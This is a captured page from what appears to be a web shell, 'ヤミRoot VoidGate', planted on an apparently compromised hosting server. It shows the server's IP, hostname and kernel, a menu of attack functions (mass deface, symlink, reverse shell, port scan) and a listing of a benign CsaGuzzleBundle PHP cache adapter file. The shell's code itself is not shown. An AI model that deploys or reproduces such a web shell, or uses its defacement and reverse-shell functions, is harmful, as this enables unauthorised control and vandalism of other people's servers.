ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
csa
/
guzzle-bundle
/
src
/
Cache
/
Viewing: MockStorageAdapter.php
<?php /* * This file is part of the CsaGuzzleBundle package * * (c) Charles Sarrazin <charles@sarraz.in> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code */ namespace Csa\Bundle\GuzzleBundle\Cache; use Csa\Bundle\GuzzleBundle\Cache\NamingStrategy\LegacyNamingStrategy; use Csa\Bundle\GuzzleBundle\Cache\NamingStrategy\NamingStrategyInterface; use Csa\Bundle\GuzzleBundle\Cache\NamingStrategy\SubfolderNamingStrategy; use Csa\Bundle\GuzzleBundle\GuzzleHttp\Middleware\CacheMiddleware; use Csa\Bundle\GuzzleBundle\GuzzleHttp\Middleware\MockMiddleware; use GuzzleHttp\Psr7; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Symfony\Component\Filesystem\Filesystem; class MockStorageAdapter implements StorageAdapterInterface { private $storagePath; /** @var NamingStrategyInterface[] */ private $namingStrategies = []; private $responseHeadersBlacklist = [ CacheMiddleware::DEBUG_HEADER, MockMiddleware::DEBUG_HEADER, ]; /** * @param string $storagePath * @param array $requestHeadersBlacklist * @param array $responseHeadersBlacklist */ public function __construct($storagePath, array $requestHeadersBlacklist = [], array $responseHeadersBlacklist = []) { $this->storagePath = $storagePath; $this->namingStrategies[] = new SubfolderNamingStrategy($requestHeadersBlacklist); $this->namingStrategies[] = new LegacyNamingStrategy(true, $requestHeadersBlacklist); $this->namingStrategies[] = new LegacyNamingStrategy(false, $requestHeadersBlacklist); if (!empty($responseHeadersBlacklist)) { $this->responseHeadersBlacklist = $responseHeadersBlacklist; } } /** * {@inheritdoc} */ public function fetch(RequestInterface $request) { foreach ($this->namingStrategies as $strategy) { if (file_exists($filename = $this->getFilename($strategy->filename($request)))) { return Psr7\parse_response(file_get_contents($filename)); } } } /** * {@inheritdoc} */ public function save(RequestInterface $request, ResponseInterface $response) { foreach ($this->responseHeadersBlacklist as $header) { $response = $response->withoutHeader($header); } list($strategy) = $this->namingStrategies; $filename = $this->getFilename($strategy->filename($request)); $fs = new Filesystem(); $fs->mkdir(dirname($filename)); file_put_contents($filename, Psr7\str($response)); $response->getBody()->rewind(); } /** * Prefixes the generated file path with the adapter's storage path. * * @param string $name * * @return string The path to the mock file */ private function getFilename($name) { return $this->storagePath.'/'.$name.'.txt'; } }
Coded With 💗 by
0x6ick